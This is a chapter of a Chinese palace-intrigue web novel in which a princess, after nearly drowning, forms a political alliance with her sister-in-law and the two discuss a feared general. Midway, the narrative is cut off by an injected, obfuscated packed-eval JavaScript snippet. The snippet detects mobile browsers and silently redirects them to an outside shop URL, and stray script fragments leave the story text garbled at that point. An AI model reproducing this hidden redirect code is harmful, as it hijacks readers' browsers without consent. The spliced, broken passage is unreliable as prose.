默认冷灰
24号文字
方正启体

79. 故土(29)

作者:东朱亭本书字数:K更新时间:
    脆弱的时候,总会寻一点慰藉与逃避,然而清醒过来,她仍在湖底,冰冷窒息。


    求生本能让她清醒,元楹楣开始挣扎,好在会凫水,不至于太过慌乱,浮上水面后,呛了几口水,一边往湖边扑腾而去,一边捋着遮挡视线的发丝,蓦地听见一女子的声音。


    “快!快救人!”


    “元怀光!你疯了么?她是你妹妹啊!”


    双眼在看清之前,元楹楣在水面上乱晃的手,稳稳被一只柔软的手抓住了,她反手抓住。


    她认得这声音,是六皇子妃,周易覃。


    元怀光是个闲散的皇子,不受人注视,常年爱游山玩水,连带着周易覃这个皇子妃,她知之甚少,以前在宫里打照面时,仅点头之交,只记得是个从不出错的人。


    周易覃将人捞上来后,一边轻拍元楹楣的背,一边开口安抚,“没事了,十九妹妹,你六皇兄是个粗手粗脚的人,一不小心就将你撞下去了,你莫要跟他计较。”


    元楹楣此刻彻底冷静,指望元怀光什么呢,气愤也是自讨没趣,说到底只是找个正统的继承人而已,继承人可以换,但必须完成他的使命。


    情绪消退,元楹楣咽下了许多话,笑着摇头,“皇嫂,我无事的,方才没站稳跌下去了。”


    周易覃松了一口气,“怪我家这湖,没修个围栏。”


    周易覃带元楹楣回去换衣休整,元楹楣染了风寒,休养三五日,元怀光一次都没来表示歉意,但周易覃来了。


    每日至少三次,带着名贵的补品,华贵的衣裳,首饰珍宝,未曾谈及正事,只是嘘寒问暖,屡屡表示亲近与歉意。


    第五日,周易覃带着她与元怀光的儿子来看她。


    周易覃一进屋,就对儿子道,“承安,快给姑母请安。”


    元承安闻言,恭敬规矩的给元楹楣磕了个头,形体端正,声音虽稚嫩但足够沉稳,“侄儿给姑母请安。侄儿上回见姑母不曾记事,今故国飘零,幸得重逢,悦豫之情,实难言表!”


    元楹楣微怔后,连忙蹲下将元承安扶起来,“承安,我上回见你,你尚在襁褓,一晃眼长这么大了。如今一见,伶牙俐齿,知书达礼,嫂嫂教的真好!”


    周易覃谦恭道,“哪里,要学的还多呢。”


    元承安约莫八九岁,水灵灵一个孩童,看面相不似他爹般愚蠢窝囊,真是太好了!


    说话虽然一板一眼,但看得出是经过悉心教导的,实在是太好了!


    元楹楣莫名其妙这样想,忽然觉得自己年纪大了,看见个聪明小孩,怎么能激动成这样。


    哪怕只是个象征,也得聪明智慧,处事沉稳,才能得人信服,令众人追随。儿子比爹强多了,元楹楣心里头又多了一分希望,以至于对元承安亲切起来。


    她甚至想,要是自己早早生了个孩子,如今便可充作太子的血脉,如此一切阻力都会小很多。


    寒暄后,周易覃要儿子给元楹楣背书读诗,还让他同元楹楣下棋,琴棋书画样样来一遍,元楹楣嘴都夸累了。


    她知道周易覃的心思,周易覃对元怀光没什么好脸色,今日特地带儿子来,也是想展示他儿子作为继承人的资格。


    老实说,众多皇子中,太子不算最聪明,但也属优,元怀光这种人属最劣等,最不可能继承皇位,呼声较高的还有两个,天之骄子,文韬武略,可惜死在了万春园。


    最不成器的元怀光竟然是唯一活下来的,六皇子妃自然一朝翻身,生出了莫大的希望。


    如今这般对她好,也是替儿子筹谋,想借她拉拢更多势力。


    如果没有更好的选择,元楹楣觉着元承安也不错。


    午饭过后,周易覃约她看景,花花草草赏了一路,蓦地话锋一转,“十九妹妹,我一看你就觉得亲近,以前嫁给六皇子是,一切都不熟悉,没能同你密切往来,现在想想,真是悔之不及。”


    元楹楣也想快速笼络一支势力,十分亲近地道,“皇家也是家,血脉至亲,利益相连。嫂嫂有话直说,楹楣也会知无不言。”


    周易覃忽然顿住脚步,神色认真,“我知妹妹多年来忠于太子,极尽扶持,在太子母族重罪的情势之下,下嫁曲家,扶大厦于将倾,力挽狂澜救了太子。”


    “可如今家国破碎,太子生死未卜,我们这些活着的皇家儿女,自该一心对外,夺回元氏江山,还请公主出手相助!”


    元楹楣知道是这个发展,当即给出了回应,她扶着周易覃的胳膊,“嫂嫂这话就见外了,分内之事何谈出手相助,元氏儿女自当如此。”


    说完,元楹楣觉着不够让人放心,立马让自己红了眼眶,“嫂嫂,实不相瞒,太子已亡。如今我别无他法,六皇兄自该担起这重责,还请嫂嫂督促。”


    太子已亡的消息,掷地有声。


    周易覃眼里一抹震惊过后,浮现出喜色,又迅速压了回去,“那是自然!”


    达成合作后,二人聊了很久,互相交换情报。


    简单来说,周家有钱,但不够。此地是萧臻简重点监视的地方,处处都是眼睛,不可能在此练兵,若是等战事结束,白佑霖的大军一回来,第一个清洗的便是这凉州城的世家豪强。


    周易覃道,“妹妹啊,以前你替太子筹谋,在青州颇有人脉,特别是那护国公杨家,掌着整个虞国最强悍的水师,却对萧臻简的谋反无动于衷。”


    元楹楣思考一瞬,“他们无动于衷,可能是想等太子的消息。杨皇后死后,削了国公府的爵位,他们对朝廷有气。没料到萧臻简动作那么快……”


    “嫂嫂莫急,我会尽力去拉拢,只是我一个人去可不行。要当家做主的人不能不露面,六皇兄性子……有些散漫,嫂嫂可得多费些功夫。”


    提到元怀光,二人都沉默了,两人在心里各骂各的。


    元楹楣骂他尸位素餐笨如蠢猪,还冲动自负,说不准得坏事,毒死算了。


    周易覃骂他贱骨头,见到女人就走不动道,热衷于羞辱女人。正事不做,拿她家的钱,在她家的别院,当着她和儿子的面左拥右抱,毒死算了。


    周易覃问,“那我可以只带儿子去青州吗?”


    元楹楣一怔,难不成她俩想一处去了?


    不过行事得缜密,她连连摇头,“杨家未必会效忠一个孩子,还会让承安身处危险之中。六哥在,至少是确凿无疑的皇室血脉。”


    周易覃心虚得冒出了汗,她差点以为会一拍即合,就不得不做了。


    确定了拉拢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020629|188868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    青州的方向,对目前的局势来说,仍显得弱势,周易覃问元楹楣,“妹妹还有些什么消息?”


    元楹楣道,“白佑霖的消息。”


    周易覃听到这个名字脸色一白,“白、白佑霖……”


    “嗯。我大概知道一些,知道他如何向进军。”元楹楣看她脸色不对,问道,“怎么了嫂嫂?”


    “妹妹啊!你说这个名字吓死我了,不瞒你说,我们凉州人现在听见白佑霖的名字都得躲回屋里关上门。等他打完仗回来,我们凉州可不得遭殃么?”


    元楹楣知道白佑霖名声差,但没想到人人闻之色变,和她心里头的形象判若两人,笑着打马虎眼儿,“有那么可怕?我还以为是你们在散布谣言,以此中伤他,让他和萧臻简离心。”


    “这谣言倒不是我们散布的。据说他当时闯进万春园,仅仅只带了三百人,便屠尽千人。”


    元楹楣捂嘴笑了,“夸张了些……但也并非不可能。若耿路兰作为内应压制住了禁军,那以白佑霖的武力……”


    她越想越觉得有这种可能,白佑霖以前带着她穿越沙漠时,面对马匪眼皮都不抬一下,一柄长刀左右挥舞,往往一刀便能解决掉一个凶悍的马匪,又快又准又狠,更别提那些宠妃皇子,和她那内里空虚父皇了。


    笑不出来了。


    周易覃紧张地问她,“妹妹,你是如何得知这些消息的?你同白佑霖是何种关系?”


    “我……”元楹楣想了下,该不该有所保留。


    她不想将自己与白佑霖的关系公之于众,有种私事被窥探的感觉,难得的一点真情,她想保留。


    但自古情义两难全,她深知白佑霖的招牌一旦打出去,对那些还在观望的财主军阀,是多厉害的杀手锏。


    不过,她以后也不能再待在他身边获取情报,加以利用,那还是不说的好。


    她浅笑着摇头,“扮成一个孤女,同他一路回从达鲁而归,仅此而已。”


    周易覃却从她那片刻的迟疑中,看到了不一样的情绪。


    元楹楣在她心里,一直是个淡漠的人,就算今日同她谈了那么多,也不见她多余的外放情绪,好似她并不为皇室逝去的亲人而悲痛欲绝。


    虽然她也如此,但她是媳妇是外人,而元楹楣是亲女儿,是个正统公主。


    可就在方才,元楹楣在滴水不漏中,漏了一滴水。


    周易覃忽然想到些什么,“那白佑霖也不如听上去那般可怕,至少将你一个孤女从达鲁带回来了,妹妹可有动心?”


    “我动心?”元楹楣冷了脸,“他一个灭国仇人,怎么可能?”


    周易覃嘴巴蠢蠢欲动,她有种直觉,只属于女人的直觉。


    她继续跟元楹楣闲聊,“白佑霖虽杀人如麻,但我们的敌人是萧臻简,他不过是萧臻简手里的一把刀。妹妹见过此人,认为他能否被我们策反?”


    元楹楣微微蹙了一下眉头,“难。”


    “此人虽是大字不识,但是个忠义之人。用什么条件才能动摇他呢?”


    周易覃视线描过元楹楣的眉眼,眉如远山含黛,目似秋水横波,心性智慧在常人之上,一己之力能将废太子扶起来……


    她脑子里出现三个字,美人计。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)